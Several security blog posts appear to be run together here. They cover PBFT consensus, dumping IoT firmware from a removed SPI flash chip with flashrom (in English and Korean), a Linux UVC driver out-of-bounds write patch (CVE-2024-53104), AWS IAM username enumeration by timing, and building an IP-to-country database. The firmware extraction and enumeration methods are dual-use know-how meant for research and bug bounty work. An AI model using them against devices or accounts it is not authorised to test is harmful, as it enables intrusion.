   Each backup node verifies the Pre-Prepare message sent by the leader node and then broadcasts a PREPARE message to the other nodes. At this stage, a node considers the request trustworthy if it receives at least 2f + 1 PREPARE messages for the same request.

4. Commit
   Each backup node considers the request trustworthy once it receives 2f + 1 PREPARE messages and then sends a COMMIT message to the other nodes. Nodes finalize the request when they receive 2f + 1 COMMIT messages for the same request.

5. Reply
   The client confirms that the request has been successfully processed once it receives f + 1 matching responses.

PBFT is a consensus algorithm that provides fast transaction finality and high security. Unlike PoW or PoS, it does not rely on computational competition and can maintain network stability even with up to one-third Byzantine faults. However, as the network grows, the consensus process slows down, making scalability a major limitation. PBFT is used in Hyperledger Fabric, Zilliqa, and other blockchain projects. It is considered a suitable consensus algorithm for private blockchains and small-scale node networks.
We’ve explored 5 different blockchain consensus algorithms so far. Some were explained in detail, while others were covered more briefly. Since Proof of Work (PoW) and Proof of Stake (PoS) are the most familiar ones from my studies, I ended up writing a bit more about them.
Of course, there are many other consensus algorithms out there, but for today, I focused on these five well-known ones.
Thanks for reading this long post! If I come across more interesting topics, I’ll make sure to summarize them again. 👋

• Reference
  https://github.com/bitcoin/bitcoin
  https://github.com/ethereum/go-ethereum
  https://blockapps.net/blog/staking-in-crypto-exploring-adoption-trends-and-strategies-for-2024/
  https://coinbureau.com/review/decred-dcr/
  https://pmg.csail.mit.edu/papers/osdi99.pdf

Hello! I’m newp1ayer48, and it’s a pleasure to introduce myself! 🙇🏻

The start of IoT / Embedded hacking and its most crucial part is obtaining the firmware.

Firmware is essential because, with it, you can understand how the device operates, analyze the vectors where vulnerabilities may arise, and analyze the code.

There are several ways to obtain firmware, but here are some representative methods:

• Downloading firmware from official websites
• Sniffing firmware update packets
• Dumping firmware through debugging ports (UART, JTAG, etc.)
• Directly connecting to Flash Memory dumping the firmware

Flash memory is a chip typically used for storage purposes and is commonly found in IoT devices in an 8-pin form.

Since the firmware is ultimately stored in this Flash Memory chip, directly extracting the firmware from Flash Memory has the advantage of being a more reliable method.

Using the flashrom program, you can easily extract the firmware from Flash Memory.

However, this method can potentially damage the equipment and board, so you should proceed with caution. ⚠️

Because heat is applied directly to the board using tools like soldering irons or heat guns, there is a risk of damaging the chip or the board, and improper connections may lead to short circuits.

Due to these risks, you may end up damaging IoT/embedded equipment that was purchased for bug bounty purposes.

It’s somewhat like trying to extract a golden egg by cutting open a goose’s belly, only to kill the goose in the process… 🪦

If you need to extract firmware, it’s best to try the other methods mentioned above before opting for a Flash memory dump.

The flow for performing a Flash memory dump using flashrom is as follows: 📝

1. Install flashrom on Raspberry Pi
2. Flash Memory Chip Off
3. Connect Flash Memory chip to Raspberry Pi
4. Flash memory dump

Here’s a list of the required equipment and tools: 💸

• Raspberry Pi (64 Bit)
• IC Test Hook Clip (SDK08)
• Heat Gun
• Jumper cables and breadboard

1. Installing flashrom

https://www.flashrom.org/

Flashrom is a development tool that allows you to flash data and images to flash chips.

It offers functions like detecting, reading, writing, verifying, and erasing, which makes it useful for embedded hacking to extract firmware from flash memory.

You need to install the necessary dependencies and use meson to install it on Raspberry Pi. 🍒

Prepare your Raspberry Pi in 64-bit mode for installation.

sudo apt-get install -y gcc meson ninja-build pkg-config python3-sphinx libcmocka-dev libpci-dev libusb-1.0-0-dev libftdi1-dev libjaylink-dev libssl-devgit clone https://github.com/flashrom/flashrommeson setup builddirmeson compile -C builddirmeson test -C builddirmeson install -C builddir

2. Flash Memory Chip Off

When extracting the chip with flashrom, performing the dump while the chip is still attached to the board may result in unsuccessful extraction. 👻

The reason varies depending on the equipment and board, but usually, the Raspberry Pi provides power to the entire board, which may introduce noise signals that could interfere with the extraction process.

The following image shows the Raspberry Pi’s VCC and GND pins touching the corresponding pins on the Flash Memory chip, confirming that power is supplied to the board.

For this reason, it’s better to remove the chip from the board and connect only the chip.

Use a heat gun to melt the solder and remove the chip from the board.

Be cautious during this process as the risk of damaging the board is quite high.

3. Connecting the Flash Memory Chip to the Raspberry Pi

Typically, Flash memory used in low-power IoT and embedded devices is an 8-pin chip that uses SPI communication.

While the pin assignments may vary depending on the chip model and vendor, the function of the 8 pins is usually the same, so refer to the datasheet for the pinout.

The datasheet provides all the information for using and describing the chip, so make sure to consult it!

The roles of each of the 8 pins of Flash Memory are as follows: 📌

• VCC: Supplies power
• GND: Ground, provides reference voltage
• SCLK (SCK, CLK): Serial Clock, synchronization signal
• CS (SS): Chip Select, selects the device and chip
  • This pin is used to select a specific chip from multiple chips on the main MCU.
• DI (SI): Data Input
  • Used to input data to Flash Memory.
• DO (SO): Data Output
  • Used to output data from Flash Memory.
• WP: Write Protect
  • When this pin signal is activated, writing to the Flash Memory is disabled.
• Hold: Chip Pause
  • When this pin signal is activated, it pauses the operation of the Flash Memory.

Connect the Raspberry Pi’s GPIO pins to the Flash Memory’s pins.

The VCC, Hold, and WP pins on the Flash Memory use the VCC power signal. Since Raspberry Pi’s GPIO pins lack enough VCC pins, it’s more convenient to supply the VCC signal using a breadboard or similar method.

Use the IC Test Hook Clip to connect the pins and begin the extraction process.

The thinner the clip, the easier the connection, so it’s recommended to use a thin test clip.

4. Flash Memory Dump

Once everything is connected, execute the following command in the Raspberry Pi terminal to start the extraction process. 💉

# Check connection and check chip namesudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2000 -V# extractionsudo flashrom -p linux_spi:dev=/dev/spidev0.0 -r [filename]sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -c [Chipname] -r [filename]

If the chip is supported, flashrom will begin the extraction process immediately.

However, if the chip is not supported, you can check flashchips.h and flashchips.c. If the chip is not listed, you can add the chip manually and then build it for extraction.

Refer to the datasheet to add the chip information to the flashchips.c file.

const struct flashchip flashchips[] = {/* * .vendor= Vendor name * .name= Chip name * .bustype= Supported flash bus types (Parallel, LPC...) * .manufacture_id= Manufacturer chip ID * .model_id= Model chip ID * .total_size= Total size in (binary) kbytes * .page_size= Page or eraseblock(?) size in bytes * .tested= Test status * .probe= Probe function * .probe_timing= Probe function delay * .block_erasers[]= Array of erase layouts and erase functions * { *.eraseblocks[]= Array of { blocksize, blockcount } *.block_erase= Block erase function * } * .printlock= Chip lock status function * .unlock= Chip unlock function * .write= Chip write function * .read= Chip read function * .voltage= Voltage range in millivolt */

With this process, you can successfully dump the firmware stored in the chip!

After removing the Flash Memory chip, the device won’t work until it’s reassembled…

But! Reassembly is simply the reverse of disassembly!

Once the Flash Memory chip is properly (!) re-soldered, the device will be usable again!

By extracting the firmware and restoring the device, you can have the best of both worlds! 🤥

Next, we will cover the commonly attempted UART/JTAG debugging port connections in embedded hacking!Thank you! 🙏🏻

안녕하세요! 이번에 새로 인사 드리게 된 newp1ayer48 입니다! 🙇🏻

IoT / 임베디드 해킹의 시작이자, 가장 중요한 부분은 펌웨어를 획득하는 것입니다.

펌웨어가 있어야 장비의 동작을 이해하고 취약점이 발생하는 벡터와 코드를 분석할 수 있기 때문에 중요합니다.

펌웨어를 획득하는 방법은 여러가지가 존재하지만 대표적인 방법들을 아래처럼 정리할 수 있습니다.

• 공식 홈페이지 등에서 제공되는 펌웨어 다운로드
• 펌웨어 업데이트 패킷 스니핑
• 디버깅 포트(UART, JTAG 등) 연결을 통한 펌웨어 덤프
• Flash Memory에 직접 연결하여 펌웨어 덤프

Flash memory는 저장 목적으로 주로 사용되는 Chip으로 IoT 기기에서는 보통 8 pin 형태로 존재합니다.

펌웨어는 결국 이 Flash Memory라는 Chip에 들어 있기 때문에, Flash Memory에서 직접 펌웨어를 추출하는 것이 확실하다는 장점이 있습니다.

여기서 flashrom 프로그램을 이용하면 손쉽게 Flash Memory 내부의 펌웨어를 추출할 수 있습니다.

그러나 이 방법은 장비와 보드에 손상을 유발할 수 있는 방법이기에 주의하여 시도해야 합니다. ⚠️

인두기나 열풍기 등으로 보드에 직접 열을 가하기 때문에 칩이나 보드가 탈 수도 있고, 잘못된 연결이 이루어지면 합선의 위험도 있습니다.

이런 문제로 버그바운티를 위해 구입한 IoT/ 임베디드 장비를 망가뜨릴 수 있습니다.

마치 황금알을 꺼내기 위해 거위 배를 갈랐다가, 도리어 거위만 죽게 되어버리는 일과 비슷합니다… 🪦

펌웨어를 추출해야 한다면, 위에서 소개해드린 다른 방법들은 먼저 시도해보고 Flash memory dump를 하는 것이 바람직합니다.

flashrom을 이용한 Flash memory dump의 흐름은 아래와 같습니다. 📝

1. Raspberry Pi에 flashrom 설치
2. Flash Memory Chip Off
3. Flash memory chip과 Raspberry Pi 연결
4. Flash memory dump

필요한 장비와 도구의 목록은 다음과 같습니다. 💸

• Raspberry Pi (64 Bit)
• IC Test Hook Clip (SDK08)
• Heat Gun (열풍기)
• 점퍼 케이블 및 브레드보드

1. flashrom 설치

https://www.flashrom.org/

Flashrom은 flash chip에 데이터와 이미지를 플래시할 수 있는 개발 도구입니다.

detecting, reading, writing, verifying, erasing의 기능을 제공하기 때문에,

임베디드 해킹에서는 이 도구를 통해 flash memory 안에 있는 펌웨어를 역으로 추출할 수 있습니다.

관련 Dependency를 설치하고, meson으로 Raspberry Pi에서 설치를 진행합니다. 🍒

Raspberry Pi는 64 Bit로 설치하여 준비합니다.

sudo apt-get install -y gcc meson ninja-build pkg-config python3-sphinx libcmocka-dev libpci-dev libusb-1.0-0-dev libftdi1-dev libjaylink-dev libssl-devgit clone https://github.com/flashrom/flashrommeson setup builddirmeson compile -C builddirmeson test -C builddirmeson install -C builddir

2. Flash Memory Chip Off

flashrom으로 Chip을 추출할 때, Chip이 보드에 연결된 상태로 Dump를 진행하면, 추출이 원활하게 되지 않을 가능성이 높습니다. 👻

이유는 장비와 보드에 따라 다르겠지만, Raspberry Pi가 Chip으로 공급 되어야 할 전원이 보드 전체로 공급되어 보드에 노이즈 신호가 추출을 방해하거나 문제가 될 가능성이 높습니다.

아래는 Raspberry Pi의 VCC, GND 핀을 Flash Memory Chip에 해당 핀을 접촉하는 것 만으로 보드에 전원이 들어오는 것을 확인할 수 있는 사진입니다.

그렇기 때문에 보드에서 Chip Off를 하여 Chip만을 연결하는 것이 좋습니다.

열풍기를 이용하여 땜납을 녹이고 Chip Off를 실시합니다.

이 과정에서 보드가 망가질 위험이 매우 높기에, 주의해서 Chip Off를 합니다.

3. Flash memory chip과 Raspberry Pi 연결

보통 저전력 IoT 및 임베디드 장비에 들어가는 Flash memory는 SPI 통신을 사용하는 8 pin chip인 경우가 많습니다.

chip 모델과 vendor마다 각 pin의 세부 역할에 차이가 있을 수는 있지만, 대부분 8 pin의 역할은 같으므로 해당 칩의 Datasheet를 확보하여 Pin out을 확인합니다.

Datasheet에는 제조사가 해당 Chip의 설명과 사용을 위한 모든 정보를 적어 놨으니 꼭 확인합니다!

Flash Memory의 각 8 pin의 역할은 다음과 같습니다. 📌

• VCC: 전원을 공급
• GND: 접지, 기준 전압을 공급
• Sclk(SCK, CLK): 직렬 클럭, 동기화 신호
• CS(SS): Chip Select, 장치 및 Chip 선택
  • 메인 MCU에서 여러 Chip 중 특정 Chip을 선택할 때 사용되는 pin
• DI(SI): Data Input
  • Flash Memory로 데이터 입력
• DO(SO): Data Output
  • Flash Memory에서 데이터 출력
• WP: Write Protect, 쓰기 보호
  • 이 핀 신호가 활성화 된 경우 Flash memory로 쓰기 불가
• Hold: Chip 일시 정지
  • 이 핀 신호가 활성화 된 경우 Flash memory 동작이 멈춤

Raspberry Pi에 존재하는 GPIO 핀과 Flash Memory의 Pin을 연결합니다.

Flash Memory에서 사용하는 VCC, Hold, WP 핀은 VCC 전원을 사용하는 핀입니다.

Raspberry Pi GPIO 핀에는 VCC 핀이 부족하므로 브레드 보드 등으로 VCC 신호를 공급하는 것이 편합니다.

IC Test Hook Chip 장비를 이용해서 각 핀에 연결하고 추출을 진행합니다.

얇은 Clip일수록 연결이 쉽기에 얇은 Test Clip으로 준비하면 좋습니다.

4. Flash memory dump

연결이 완료되면 Raspberry Pi 터미널에서 아래 명령어를 통해서 추출을 진행합니다. 💉

# 연결 확인 및 Chip 명 확인sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2000 -V# 추출sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -r [저장파일명]sudo flashrom -p linux_spi:dev=/dev/spidev0.0 -c [Chip명] -r [저장파일명]

flashrom은 지원하는 Chip인 경우 바로 추출이 진행됩니다.

그러나 지원하지 않는 Chip인 경우에는 flashchips.h, flashchips.c을 확인하고 존재하지 않는 경우, 직접 추가하여 빌드하면 추출이 가능합니다.

Datasheet를 참고하여 아래 flashchips.c 파일에 추가하려는 Chip의 정보를 기입합니다.

const struct flashchip flashchips[] = {/* * .vendor= Vendor name * .name= Chip name * .bustype= Supported flash bus types (Parallel, LPC...) * .manufacture_id= Manufacturer chip ID * .model_id= Model chip ID * .total_size= Total size in (binary) kbytes * .page_size= Page or eraseblock(?) size in bytes * .tested= Test status * .probe= Probe function * .probe_timing= Probe function delay * .block_erasers[]= Array of erase layouts and erase functions * { *.eraseblocks[]= Array of { blocksize, blockcount } *.block_erase= Block erase function * } * .printlock= Chip lock status function * .unlock= Chip unlock function * .write= Chip write function * .read= Chip read function * .voltage= Voltage range in millivolt */

위 과정으로 Flash memory dump를 실시하여 Chip 내에 존재하는 Firmware를 추출할 수 있습니다!

Flash Memory Chip off 이후에는 Chip이 떨어져 있기에 장비를 쓰지 못합니다…

하지만! 조립은 분해의 역순입니다!

Flash Memory Chip을 다시 잘(!) Resoldering하면 장비를 다시 사용할 수 있습니다!

펌웨어도 획득하고 장비도 다시 사용할 수 있는 두 마리 토끼를 모두 잡아봅시다! 🤥

다음에는 임베디드 해킹에서 자주 시도되는 UART/JTAG 디버깅 포트 연결에 대해서 다뤄보겠습니다!

감사합니다! 🙏🏻

URL

• https://nvd.nist.gov/vuln/detail/CVE-2024-53104

Explain

이 취약점은 UVC (USB Video Class) 드라이버의 uvc_parse_format 함수에서 발생합니다. 문제는 프레임 디스크립터를 파싱할 때, 정의되지 않은 프레임 타입(예, UVC_VS_UNDEFINED, 실제 코드에서는 ftype이 0인 경우)을 제대로 처리하지 않아 Out-Of-Bounds Write가 발생할 수 있다는 점입니다.

• 패치 전 코드

  • 프레임 디스크립터를 파싱하는 while 루프의 조건은 다음과 같습니다:

    while (buflen > 2 && buffer[1] == USB_DT_CS_INTERFACE &&       buffer[2] == ftype) {    // 프레임 파싱 처리...}

    ftype은 파싱할 프레임의 타입을 나타내며, UVC_VS_FRAME_UNCOMPRESSED, UVC_VS_FRAME_FRAME_BASED, UVC_VS_FRAME_MJPEG 등으로 설정됩니다. 특정 포맷(예: DV 포맷)의 경우 ftype을 0으로 설정하는데, 이는 실제 프레임 디스크립터가 존재하지 않음을 의미합니다.

  • 문제는 만약 ftype 값이 0(즉, UVC_VS_UNDEFINED)이면, 조건 buffer[2] == 0이 참이 되어 루프가 실행되고, 계산된 프레임 버퍼 크기가 부정확해질 수 있습니다.

패치 전에는 ftype이 0인 상황에서도 루프가 조건에 맞게 실행되어, 프레임 디스크립터의 크기나 버퍼 계산에 포함되게 됩니다. 이로 인해 정의되지 않은 프레임 타입에 대해 잘못된 메모리 접근이 이루어지고, 버퍼의 OOB Write가 발생할 위험이 생깁니다. 이 취약점을 악용할 경우, 공격자는 커널 메모리를 변조하여 시스템의 안정성을 해치거나, 심각한 경우 권한 상승 및 원격 코드 실행 등 치명적인 보안 문제를 일으킬 수 있습니다.

• 패치 후 코드

  • while 루프의 조건에 ftype 값에 대한 추가 검증(ftype &&)이 들어갔습니다:

    while (ftype && buflen > 2 && buffer[1] == USB_DT_CS_INTERFACE &&       buffer[2] == ftype) {    // 프레임 파싱 처리...}

  • 이로써 ftype이 0인 경우(즉, 정의되지 않은 프레임 타입)에는 루프가 실행되지 않아, 잘못된 파싱을 방지합니다.

패치에서는 while 루프의 조건에 ftype 검증을 추가하여, ftype 값이 0(정의되지 않은 상태)인 경우 프레임 디스크립터 파싱을 아예 건너뛰도록 수정했습니다. 이 변경을 통해, 잘못된 프레임 타입(예, UVC_VS_UNDEFINED)으로 인한 버퍼 크기 계산 오류가 발생하지 않고, 따라서 버퍼의 OOB Write를 시도하는 상황을 미연에 방지할 수 있습니다. 결과적으로, 메모리 오염 및 악의적 코드 실행의 위험이 크게 감소합니다.

URL

• https://rhinosecuritylabs.com/research/unauthenticated-username-enumeration-in-aws/

Target

• 2025년 1월 16일 이전 버전의 AWS Sign-in IAM 사용자 로그인 흐름

Explain

AWS IAM(Identity and Access Management)은 AWS 리소스에 대한 액세스를 안전하게 관리할 수 있는 웹 서비스입니다.

IAM 콘솔 로그인이 활성화된 모든 사용자에 대해 존재 여부를 확인할 수 있는 두 가지 취약점이 발견되었습니다.

Finding 1 - User name Enumeration (Users w/ MFA)

AWS IAM 사용자가 MFA(다중 인증)를 활성화했을 경우, 로그인 흐름의 차이로 인해 해당 사용자의 존재 여부를 확인할 수 있습니다.

IAM 사용자가 AWS 웹 콘솔에 로그인하면 다음과 같이 동작합니다.

사용자가 존재하면 MFA 코드 입력 페이지로 이동하고, 존재하지 않으면 오류 메시지가 표시됩니다.

사용자가 존재하면 비밀번호가 틀려도 MFA 코드 입력 페이지로 이동하기 때문에, IAM 사용자의 존재 여부를 쉽게 확인할 수 있습니다.

해당 취약점은 AWS에서 허용 가능한 위험(Accepted Risk)으로 판단해, CVE가 할당되지 않았습니다.

Finding 2 (CVE-2025-0693) - User name Enumeration via Timing Attack (no MFA)

MFA를 사용하지 않는 IAM 사용자는 Timing Attack을 통해 User Enumeration 취약점을 트리거 할 수 있습니다.

MFA가 비활성화된 IAM 사용자가 로그인하면 다음과 같이 동작합니다.

• 사용자가 존재하면, 비밀번호 검증 과정을 거친 후 응답이 반환됩니다.
• 사용자가 존재하지 않으면, 즉시 오류가 반환됩니다.

이때, 서버 응답 시간에 측정 가능한 차이가 발생한다면, 공격자는 여러 사용자명을 입력하고 응답 시간을 분석하여 사용자 존재 여부를 추측할 수 있습니다.

Burp Suite를 통해 테스트한 결과, 실제 존재하는 IAM 사용자(bfme-console)의 경우, 응답 시간이 약 100ms 증가해 실제 사용자 존재 여부를 알아낼 수 있습니다.

해당 취약점은 CVE-2025-0693 할당받았으며, AWS는 모든 인증 실패 시나리오에서 응답 시간을 동일하게 지연시키는 방식으로 패치를 진행했습니다.

Reference

• https://aws.amazon.com/ko/security/security-bulletins/AWS-2025-002/

Hello, I’m empty 👋. In the field of security, we often need to analyze suspicious IP addresses. When using various IP lookup services, the verdict on whether an IP is malicious may differ, but “country information, ASN information, ISP information” are consistently provided. I became curious about where and how this data is obtained and served, so I decided to investigate.

🔍 Ways to Look Up IP Information

Broadly speaking, IP information can be retrieved via:

1. IP information lookup services
2. IP information databases
3. The Whois protocol

Each method offers different speeds, accuracy, and freshness of data, so it’s important to choose the method that best fits your needs.

🌐 IP Information Lookup Services

Some services provide reputation (malicious or fraud-related) information, others provide port scanning results, and others geographic location information. However, country, ASN, and ISP name are virtually always provided, no matter which service you use.

Although the data scope and content may differ subtly by service, almost every IP lookup service commonly returns the IP’s country, ASN, and ISP name. Personally, I often use the ipinfo service via a simple curl command in the terminal.

Interestingly, different services can display different countries or location info for the exact same IP. For example, when looking up an IP address from the Hong Kong-based cloud provider SonderCloud Limited on VirusTotal, it shows as being in the United States, while ipinfo displays Hong Kong.

These discrepancies arise from a range of factors. Even if a company is registered in Hong Kong, its actual server could be physically located in the US, or vice versa. Additionally, some services base the IP’s country not on the physical location but on the country in which the business is registered, or on the IP block assignment recorded by a Regional Internet Registry (RIR).

On top of that, the update frequency and data collection methods vary by service, so even the same IP may give different results from different sources.

💾 Database Lookup

Here, “database” doesn’t refer to applications like MySQL or PostgreSQL; rather, it refers to a prestructured “IP information database file” that lists IP addresses along with details such as country and ASN. These can be implemented in various formats—like JSON, CSV, or MMDB—and are commonly used in .mmdb format.

MMDB is a file format developed and published by MaxMind. Because it’s an open format, MaxMind and many other IP information services provide their IP database files in .mmdb format. Many security devices that require real-time performance load the mmdb file into memory for super-fast lookups (on the order of less than 0.00n seconds per IP).

• Example Lookup Code:

import maxminddbip = "8.8.8.8"with maxminddb.open_database("country_asn.mmdb") as reader:    result = reader.get(ip)    print(result)

• Output:

{  "as_domain": "google.com",  "as_name": "Google LLC",  "asn": "AS15169",  "continent": "NA",  "continent_name": "North America",  "country": "US",  "country_name": "United States"}

However, because data such as ASN can change daily, you need to periodically update your local database file to stay current.

🛰️ Whois Protocol (TCP, 43)

Lastly, there’s the Whois protocol. When you query an IP address using Whois, it sends a request to the appropriate RIR’s Whois server, which then returns detailed information about the IP. Since the data is maintained directly by an RIR, it’s typically highly accurate.

Windows doesn’t include a built-in Whois command, so I sometimes use the NirSoft tool IPNetInfo, which is particularly handy for bulk lookups.

Because Whois is a query-based method that communicates with a remote server, network latency is inevitable; and if the server is under heavy load or the queries are excessive, your requests might get blocked. For instance, the IPNetInfo product page states:

Sometimes the ARIN Whois server may be down and fail to respond to IPNetInfo’s WHOIS queries, which prevents IPNetInfo from retrieving IP addresses. If this happens, try again later.

Below is a summary of each method:

Therefore, if you frequently query IPs and need quick responses in an environment where external internet access might not be possible, building your own local country database is the best approach. Below, I’ll show you how to collect source data from RIRs and build an IP-country information database in your local environment.

🌐 Understanding How IP Addresses Are Managed

The public IP addresses we use—around 3.7 billion—are limited resources. To manage them effectively, a central coordinating body is required. That role is filled by ICANN (Internet Corporation for Assigned Names and Numbers) in the United States.

ICANN manages top-level internet resources like IP addresses, DNS, and protocol numbers. Because ICANN can’t manage all IP addresses directly, the IANA (Internet Assigned Numbers Authority)—an organization under ICANN—allocates IP address ranges to RIRs (Regional Internet Registries) by region.

There are currently five RIRs: ARIN (North America), RIPENCC (Europe), LACNIC (Latin America), AFRINIC (Africa), and APNIC (Asia). Of these, LACNIC and APNIC maintain NIRs (National Internet Registries) to further subdivide responsibilities at a national level:

• APNIC includes KRNIC (Korea), CNNIC (China), JPNIC (Japan), TWNIC (Taiwan), VNNIC (Vietnam), etc.
• LACNIC includes NIC Brazil (Brazil), NIC Chile (Chile), NIC Mexico (Mexico)

In other words, IP addresses are managed in this chain: ICANN → IANA → RIR → NIR → ISP.

🏗️ Building an IP-Country Database

Each RIR routinely uploads statistics in a specific format to a specific path (named stats) on their FTP server, at a specific time (23:59:59), under a specific file name.

You can learn more about file format details by checking out APNIC’s RIR statistics exchange format.

💻 Creating a Program to Query an IP ↔ Country Database

Now that we know the data sources (RIR FTP servers) and the file formats, we can build a tool. For example, you could:

1. Every day at 09:00 (UTC+9), download each delegated-{REGISTRY}-latest file from every RIR’s FTP server
2. Extract each country / IPv4 / IP range from the downloaded file
3. Convert the IP range (start ~ end) into decimal, sort, then save to a file
4. Load the country-IP-range pairs into memory
5. Use binary search

Here’s some sample code:

# builtin modulesimport osimport ipaddressimport asynciofrom datetime import datetime# install modulesimport aiohttpintervals = []today = datetime.now().strftime("%Y%m%d")RIR_URLS = [    "https://ftp.apnic.net/stats/apnic/delegated-apnic-extended-latest",    "https://ftp.arin.net/pub/stats/arin/delegated-arin-extended-latest",    "https://ftp.lacnic.net/pub/stats/lacnic/delegated-lacnic-extended-latest",    "https://ftp.ripe.net/pub/stats/ripencc/delegated-ripencc-extended-latest",    "https://ftp.afrinic.net/stats/afrinic/delegated-afrinic-extended-latest",]MAPPING_DATABASE = f"./rsc/{today}_mapping.db"# Downloadasync def fetch(session, url):    async with session.get(url) as response:        print(f"[{response.status}] - {url}")        content = await response.read()        filename = url.split("/")[-1]        filepath = f"./rsc/{today}_{filename}"        with open(filepath, "wb") as f:            f.write(content)    return# Download coroutineasync def download():    async with aiohttp.ClientSession() as session:        await asyncio.gather(*(fetch(session, url) for url in RIR_URLS))    print("Download Complete")    return# Load databasedef init_database():    if not os.path.exists("./rsc"):        os.mkdir("./rsc")    # If the IP database set exists, load it into memory    if os.path.exists(MAPPING_DATABASE):        print("Databse load")        with open(MAPPING_DATABASE, "r") as f:            for line in f:                start_ip, end_ip, country = line.strip().split(",")                intervals.append((int(start_ip), int(end_ip), country))        return    # If it doesn't exist, download, process, and save    asyncio.run(download())    for rir_url in RIR_URLS:        filename = rir_url.split("/")[-1]        filepath = f"./rsc/{today}_{filename}"        with open(filepath, "r") as f:            for line in f:                line = line.strip().split("|")                if len(line) != 8 or line[2] != "ipv4":                    continue                country = line[1]                ip = line[3]                ip_range = line[4]                start_ip = int(ipaddress.IPv4Address(ip))                end_ip = (int(ipaddress.IPv4Address(ip)) + int(ip_range)) - 1                result = (start_ip, end_ip, country)                intervals.append(result)    # Save the data    intervals.sort(key=lambda x: x[0])    with open(MAPPING_DATABASE, "w") as f:        for interval in intervals:            line = f"{interval[0]},{interval[1]},{interval[2]}"            f.write(line + "\n")    print("Databse load")    return# Searchdef search(search_ip):    result = None    try:        search_ip = int(ipaddress.IPv4Address(search_ip))    except:        return None    left, right = 0, len(intervals) - 1    while left <= right:        mid = (left + right) // 2        start_ip, end_ip, country = intervals[mid]        if start_ip <= search_ip <= end_ip:            result = country            break        elif start_ip > search_ip:            right = mid - 1        else:            left = mid + 1    return resultdef main():    init_database()    while True:        ipv4 = input("Insert IPv4: ")        r = search(ipv4)        print(r)if __name__ == "__main__":    main()

Once downloaded from the RIRs, you’ll see that around 253,714 IP ranges (covering the roughly 3.7 billion public IPs) exist. That effectively means you can figure out the country of any public IP. Interestingly, the program I wrote above seems to perform 30–250 times faster lookups than queries using .mmdb.

My guess is that MMDB might have more granularly subdivided IP ranges and also stores additional data (like ASN), so that could explain the difference.

✨ Conclusion

RIR data only contains information such as which IP addresses were assigned (e.g., IP block allocations). It doesn’t tell you which ASNs those IPs belong to. To figure that out, you’d need to collect data from BGP (Border Gateway Protocol) tables. Because this post has already grown quite long, I’ll continue this topic in a future article.

For sanity’s sake, I personally recommend regularly downloading an .mmdb file from ipinfo or another provider, if feasible.

안녕하세요. empty입니다👋. 보안 업무를 하다 보면 의심스러운 IP를 분석하는 일이 잦은데요. 여러 IP 조회 서비스를 이용해 보면 악성 여부의 결과는 서로 다를 수 있으나 “국가 정보, ASN 정보, ISP 정보”는 모두 동일하게 제공됩니다. 이러한 데이터는 어디서 어떻게 구해서 제공해 주는지 궁금증이 생겨 직접 알아봤습니다.

🔍 IP 정보를 조회하는 방법들

IP 정보를 조회하는 방식은 크게 IP 정보 조회 서비스, 데이터베이스 조회, Whois 프로토콜 세 가지로 구분할 수 있습니다. 각각의 방법은 속도, 정확성, 최신성이 다르므로 상황에 맞춰 선택해야 합니다.

🌐 IP 정보 조회 서비스

IP 정보를 조회하는 서비스들은 악성 여부나 사기 관련 평판 정보를, 일부는 포트 스캔 결과를, 또 일부는 지리적 위치 정보를 제공하는 등의 차이가 있습니다. 하지만 공통적으로 국가, ASN, ISP 명 등의 기본 정보는 동일하게 제공됩니다.

서비스 종류에 따라 제공되는 데이터 범위와 내용에는 미묘한 차이가 있으나, 거의 모든 IP 조회 서비스는 공통적으로 국가, ASN, ISP 명 정도는 제공합니다. 개인적으로는 터미널에서 curl 명령어로 간단히 조회할 수 있는 ipinfo 서비스를 자주 활용합니다.

흥미로운 점은 서비스별로 IP 국가 정보나 위치 정보가 서로 다르게 표시될 때가 종종 있다는 것입니다. 예를 들어, 홍콩의 클라우드 업체 SonderCloud Limited IP 주소를 VirusTotal에 조회할 경우 미국으로 표시되고, ipinfo에서는 홍콩으로 표시되고 있습니다.

이러한 차이가 나타나는 이유는 복합적입니다. 법인이 홍콩에 있더라도 물리적 서버 위치가 미국일 수도 있고, 그 반대일 수도 있습니다. 또한, 서비스 제공자가 IP 국가 정보를 표시할 때 물리적 위치가 아니라 사업자 등록 국가 또는 RIR에 할당된 IP 블록 기준으로 표기하는 경우도 있습니다.

거기에 더해 데이터베이스를 업데이트하는 주기나 정보 수집 방식이 서비스마다 다르기 때문에, 같은 IP라도 서로 다른 결과가 나올 수 있습니다.

💾 데이터베이스 조회

데이터베이스라 함은 MySQL, PostgreSQL 같은 DB 애플리케이션이 아니라, IP-국가-ASN 등과 같은 IP의 정보를 구조화 시켜 미리 정리한 “IP 정보 데이터베이스 파일”을 의미합니다. 편의에 따라 json, csv, mmdb 등 자유롭게 구현하여 사용되고 있으며, 주로 mmdb 파일을 사용합니다.

MMDB는 MaxMind 사에서 개발하여 공개한 파일 포맷입니다. 공개된 파일 포맷이다 보니, MaxMind를 포함한 여러 IP 정보 조회 서비스 업체들이 MMDB 파일로 데이터베이스 파일을 제공해 주고 있습니다. mmdb 파일을 메모리에 올린 뒤, 조회를 하기 때문에 IP 하나를 조회하는 데 소요되는 시간이 0.00n초 미만이기 때문에 많은 실시간 성이 중요한 보안장비들은 mmdb를 활용하고 있습니다.

• 조회 코드 예시

import maxminddbip = "8.8.8.8"with maxminddb.open_database("country_asn.mmdb") as reader:    result = reader.get(ip)    print(result)

• 출력

{  "as_domain": "google.com",  "as_name": "Google LLC",  "asn": "AS15169",  "continent": "NA",  "continent_name": "North America",  "country": "US",  "country_name": "United States"}

다만, IP의 정보(ASN 등)는 경우 매일 실시간으로 갱신되고 변경사항이 발생하기 때문에 위와 같은 파일을 주기적으로 갱신해 줘야 한다는 수고로움이 존재합니다.

🛰️ Whois 프로토콜(TCP,43)을 통한 조회

마지막으로 Whois 프로토콜 활용입니다. Whois 프로토콜에 IP 주소를 넣어 질의할 경우 지역 레지스트리(RIR)의 Whois 서버에 IP의 상세 정보를 반환합니다. RIR에서 관리를 하다 보니, 정확도가 높은 정보라고 볼 수 있겠습니다.

윈도우에는 Whois 커맨드가 내장되어 있지 않기 때문에 Nirsoft 사에서 개발한 IPNetInfo라는 도구를 종종 사용하곤 합니다. 특히, 일괄적인 조회를 할 때 굉장히 유용합니다.

